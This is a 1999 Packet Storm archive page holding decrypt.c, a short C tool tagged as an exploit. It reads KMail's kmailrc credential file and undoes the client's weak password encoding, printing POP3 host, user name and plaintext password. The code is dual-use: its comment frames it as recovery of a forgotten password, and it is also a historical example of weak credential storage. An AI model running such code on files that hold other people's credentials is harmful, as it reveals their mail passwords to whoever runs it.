exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

decrypt.c

decrypt.c
Posted Sep 12, 1999
Site cs.uni-potsdam.de

Decrypt kmail passwords.

tags | exploit
SHA-256 | 7e993399d9a65ca2cc5bc223c2cb8f869c63566a7362d48d9655645aae5ea67f

decrypt.c

Change Mirror Download
/*
* Copyright (C) 1999/2000 Sebastian Krahmer.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Sebastian Krahmer.
* 4. The name Sebastian Krahmer may not be used to endorse or promote
* products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
/* Kmail POP3-passwd-'decryptor'. Just in case you forgot it.
* Oh well, this is a very lame 'decryption' tool, just hacked down
* in half an hour.
*/
#include <stdio.h>
#include <errno.h>

const char *KMAILRC = "/root/.kde/share/config/kmailrc";
const int MAXENTRYS = 1000;

char *decrypt(char *s)
{
unsigned int d;
static char result[1000];
int i = 0;

memset(result, 0, 1000);
for (i = 0; i < strlen(s); i++) {
d = s[i] - ' ';
d = 255 - d - ' ';
result[i] = (char)(d + ' ');
}
return result;
}


int parse(FILE *f) {
char buf[1000], user[1000],
host[1000], buf2[1000], *p;
int complete = 0, entrys = 0;

/* init a bit */
memset(buf, 0, 1000);
memset(user, 0, 100);
memset(host, 0, 100);
memset(buf2, 0, 1000);


while (complete < 3 && entrys < MAXENTRYS) {
fgets(buf, 1000, f);

/* if password found */
if (sscanf(buf, "passwd=%s\n", buf2) <= 0) {
memset(buf2, 0, 1000);
} else {
p = decrypt(buf2);
complete++;
}

/* if login found */
if (sscanf(buf, "login=%s\n", buf2) <= 0) {
memset(buf2, 0, 1000);
} else {
strncpy(user, buf2, 1000);
complete++;
}

/* if host found */
if (sscanf(buf, "host=%s\n", buf2) <= 0) {
memset(buf2, 0, 1000);
} else {
strncpy(host, buf2, 1000);
complete++;
}
entrys++;
memset(buf2, 0, 1000);
memset(buf, 0, 1000);
}
if (entrys < MAXENTRYS) {
printf("********\n"
"host: %s\n"
"user: %s\n"
"pwd: %s\n\n", host, user, p);
return 1;
} else
printf("No more complete entrys found (%d) :-(\n", complete);
return 0;
}



int main(int argc, char **argv)
{
FILE *f;

if (argc > 1) {
KMAILRC = argv[1];
}

if ((f = fopen(KMAILRC, "r")) == NULL) {
perror("fopen");
exit(errno);
}

while (parse(f));

fclose(f);
return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close